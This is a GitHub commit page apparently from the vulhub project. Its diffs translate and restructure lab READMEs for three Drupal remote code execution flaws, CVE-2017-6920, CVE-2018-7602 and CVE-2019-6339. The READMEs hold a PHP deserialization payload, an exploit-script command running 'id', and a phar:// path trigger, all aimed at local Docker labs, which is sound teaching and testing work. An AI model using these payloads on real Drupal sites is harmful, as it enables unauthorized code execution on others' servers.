forked from vulhub/vulhub
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request vulhub#605 from vulhub/drupal-translate
Improve README for Drupal issues
- Loading branch information
Showing
13 changed files
with
295 additions
and
116 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,64 +1,40 @@ | ||
# Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920) | ||
# Drupal Core 8 PECL YAML Deserialization Remote Code Execution (CVE-2017-6920) | ||
|
||
* 影响软件:Drupal | ||
* 方式:反序列化 | ||
* 参考链接:[CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造](https://paper.seebug.org/334/) | ||
* 效果:任意代码执行 | ||
[中文版本(Chinese version)](README.zh-cn.md) | ||
|
||
## 漏洞环境 | ||
Drupal is a free and open-source web content management framework written in PHP. | ||
|
||
执行如下命令启动 drupal 8.3.0 的环境: | ||
A remote code execution vulnerability exists in Drupal 8.x through 8.3.4 when using the PECL YAML parser. The vulnerability is caused by unsafe deserialization of YAML content, allowing attackers to execute arbitrary code. | ||
|
||
```bash | ||
References: | ||
|
||
- <https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple> | ||
- <https://paper.seebug.org/334/> | ||
|
||
## Environment Setup | ||
|
||
Execute the following command to start a vulnerable Drupal 8.3.0 server: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 | ||
|
||
## 漏洞复现 | ||
|
||
* 先安装 `yaml` 扩展 | ||
|
||
```bash | ||
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源 | ||
cat > sources.list << EOF | ||
deb http://mirrors.163.com/debian/ jessie main non-free contrib | ||
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib | ||
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib | ||
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib | ||
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib | ||
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib | ||
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib | ||
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib | ||
EOF | ||
# 安装依赖 | ||
apt update | ||
apt-get -y install gcc make autoconf libc-dev pkg-config | ||
apt-get -y install libyaml-dev | ||
# 安装yaml扩展 | ||
pecl install yaml | ||
docker-php-ext-enable yaml.so | ||
# 启用 yaml.decode_php 否则无法复现成功 | ||
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini | ||
# 退出容器 | ||
exit | ||
# 重启容器,CONTAINER换成自己的容器ID | ||
docker restart CONTAINER | ||
``` | ||
After the server is started, visit `http://your-ip:8080/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database. | ||
|
||
## Vulnerability Reproduction | ||
|
||
To reproduce this vulnerability, first log in to the Drupal site with administrator credentials. Once logged in, navigate to the configuration import page at `http://127.0.0.1:8080/admin/config/development/configuration/single/import`. | ||
|
||
* 1.登录一个管理员账号 | ||
* 2.访问 `http://127.0.0.1:8080/admin/config/development/configuration/single/import` | ||
* 3.如下图所示,`Configuration type` 选择 `Simple configuration`,`Configuration name` 任意填写,`Paste your configuration here` 中填写PoC如下: | ||
Select "Simple configuration" for Configuration type, enter any name for Configuration name, and paste the following PoC in "Paste your configuration here": | ||
|
||
```php | ||
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" | ||
``` | ||
|
||
 | ||
|
||
* 4.点击 `Import` 后可以看到漏洞触发成功,弹出 `phpinfo` 页面。 | ||
Click "Import" and you will see the vulnerability has been successfully triggered, displaying the phpinfo page: | ||
|
||
 | ||
|
||
* Tips: | ||
* 虽然官方 CPE 信息显示从 `8.0.0` 开始就有该漏洞,但是在 `drupal:8.0.0` 容器内并没有复现成功,相同操作在 `drupal:8.3.0` 则可以复现成功,故基础镜像选择`drupal:8.3.0` | ||
> Note: Although official CPE information indicates this vulnerability exists since version 8.0.0, our testing shows it can only be reproduced in Drupal 8.3.0, not in 8.0.0. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
# Drupal Core 8 PECL YAML反序列化远程代码执行漏洞(CVE-2017-6920) | ||
|
||
Drupal是一个使用PHP编写的免费开源的Web内容管理框架。 | ||
|
||
在使用PECL YAML解析器的Drupal 8.x至8.3.4版本中存在远程代码执行漏洞。该漏洞是由于YAML内容的不安全反序列化导致的,允许攻击者执行任意代码。 | ||
|
||
参考链接: | ||
|
||
- <https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple> | ||
- <https://paper.seebug.org/334/> | ||
|
||
## 环境搭建 | ||
|
||
执行如下命令启动一个存在漏洞的Drupal 8.3.0服务器: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
环境启动后,访问`http://your-ip:8080/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。 | ||
|
||
## 漏洞复现 | ||
|
||
首先,以管理员身份登录Drupal站点。然后,访问`http://127.0.0.1:8080/admin/config/development/configuration/single/import`页面。 | ||
|
||
在Configuration type中选择"Simple configuration",Configuration name可以任意填写,在"Paste your configuration here"中粘贴以下PoC: | ||
|
||
```php | ||
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" | ||
``` | ||
|
||
 | ||
|
||
点击"Import"后,你将看到漏洞已成功触发,显示phpinfo页面: | ||
|
||
 | ||
|
||
> 注意:虽然官方CPE信息显示该漏洞从8.0.0版本就存在,但我们的测试表明只能在Drupal 8.3.0中复现,而在8.0.0中无法复现。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,28 +1,37 @@ | ||
# Drupal 远程代码执行漏洞(CVE-2018-7602) | ||
# Drupal Remote Code Execution (CVE-2018-7602) | ||
|
||
* 影响软件:drupal | ||
* 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤 | ||
* 效果:任意命令执行 | ||
[中文版本(Chinese version)](README.zh-cn.md) | ||
|
||
## 漏洞环境 | ||
Drupal is a free and open-source web content management framework written in PHP. | ||
|
||
执行如下命令启动drupal 7.57的环境: | ||
A remote code execution vulnerability exists in Drupal 7.x and 8.x. The vulnerability is caused by insufficient input sanitization, where double URL encoding of the '#' character can bypass the sanitize() function filter, leading to remote code execution. | ||
|
||
References: | ||
|
||
- <https://www.drupal.org/sa-core-2018-004> | ||
- <https://github.com/pimps/CVE-2018-7600> | ||
- <https://github.com/kastellanos/CVE-2018-7602> | ||
|
||
## Environment Setup | ||
|
||
Execute the following command to start a vulnerable Drupal 7.57 server: | ||
|
||
```bash | ||
docker compose up -d | ||
``` | ||
|
||
环境启动后,访问 `http://your-ip:8081/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 | ||
|
||
## 漏洞复现 | ||
After the server is started, visit `http://your-ip:8081/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database. | ||
|
||
参考[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC。 | ||
## Vulnerability Reproduction | ||
|
||
如下图所示,执行以下命令即可复现该漏洞。示例命令为 `id`,如图红框中显示,可以执行该命令。 | ||
Using the PoC from [pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py), execute the following command to exploit the vulnerability: | ||
|
||
```bash | ||
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码 | ||
# Replace "id" with the command you want to execute | ||
# First "drupal" is username, second "drupal" is password | ||
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/ | ||
``` | ||
|
||
As shown in the red box in the image below, the command is successfully executed: | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# Drupal远程代码执行漏洞(CVE-2018-7602) | ||
|
||
Drupal是一个使用PHP编写的免费开源的Web内容管理框架。 | ||
|
||
在Drupal 7.x和8.x版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对URL中的'#'字符进行两次URL编码可以绕过sanitize()函数过滤,从而导致远程代码执行。 | ||
|
||
参考链接: | ||
|
||
- <https://www.drupal.org/sa-core-2018-004> | ||
- <https://github.com/pimps/CVE-2018-7600> | ||
- <https://github.com/kastellanos/CVE-2018-7602> | ||
|
||
## 环境搭建 | ||
|
||
执行如下命令启动一个存在漏洞的Drupal 7.57服务器: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
环境启动后,访问`http://your-ip:8081/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。 | ||
|
||
## 漏洞复现 | ||
|
||
使用来自[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC,执行以下命令来利用漏洞: | ||
|
||
``` | ||
# 将"id"替换为你想执行的命令 | ||
# 第一个"drupal"是用户名,第二个"drupal"是密码 | ||
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/ | ||
``` | ||
|
||
如下图红框所示,命令成功执行: | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,28 +1,41 @@ | ||
# Drupal 远程代码执行漏洞(CVE-2019-6339) | ||
# Drupal Remote Code Execution by phar deserialization (CVE-2019-6339) | ||
|
||
* 影响软件:Drupal | ||
* 方式:phar反序列化RCE | ||
* 参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/) | ||
* 效果:任意命令执行 | ||
[中文版本(Chinese version)](README.zh-cn.md) | ||
|
||
## 漏洞环境 | ||
Drupal is a free and open-source web content management framework written in PHP. | ||
|
||
执行如下命令启动drupal 8.5.0的环境: | ||
A remote code execution vulnerability exists in Drupal 7.x before 7.62, Drupal 8.5.x before 8.5.9 and 8.6.x before 8.6.6. The vulnerability is caused by improper handling of PHAR deserialization in the file system service, which can lead to remote code execution. | ||
|
||
```bash | ||
References: | ||
|
||
- <https://www.drupal.org/sa-core-2019-002> | ||
- <https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed> | ||
- <https://paper.seebug.org/897/> | ||
|
||
## Environment Setup | ||
|
||
Execute the following command to start a vulnerable Drupal 8.5.0 server: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 | ||
After the server is started, visit `http://your-ip:8080/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database. | ||
|
||
## 漏洞复现 | ||
## Vulnerability Reproduction | ||
|
||
如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。 | ||
First, log in as an administrator and upload an avatar. The avatar image should be a specially crafted PoC file (you can refer to [thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal) for the PoC): | ||
|
||
 | ||
|
||
Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。 | ||
By default, Drupal stores uploaded images in the `/sites/default/files/pictures/<YYYY-MM>/` directory and keeps their original filenames. This information is important for exploiting the vulnerability. | ||
|
||
Visit `http://127.0.0.1:8080/admin/config/media/file-system` and enter the path to the previously uploaded image in the "Temporary directory" field. For example: | ||
|
||
``` | ||
phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg | ||
``` | ||
|
||
访问 `http://127.0.0.1:8080/admin/config/media/file-system`,在 `Temporary directory` 处输入之前上传的图片路径,示例为 `phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg`,保存后将触发该漏洞。如下图所示,触发成功。 | ||
Save the configuration to trigger the vulnerability. The successful exploitation will be confirmed by the execution of the malicious code: | ||
|
||
 |
Oops, something went wrong.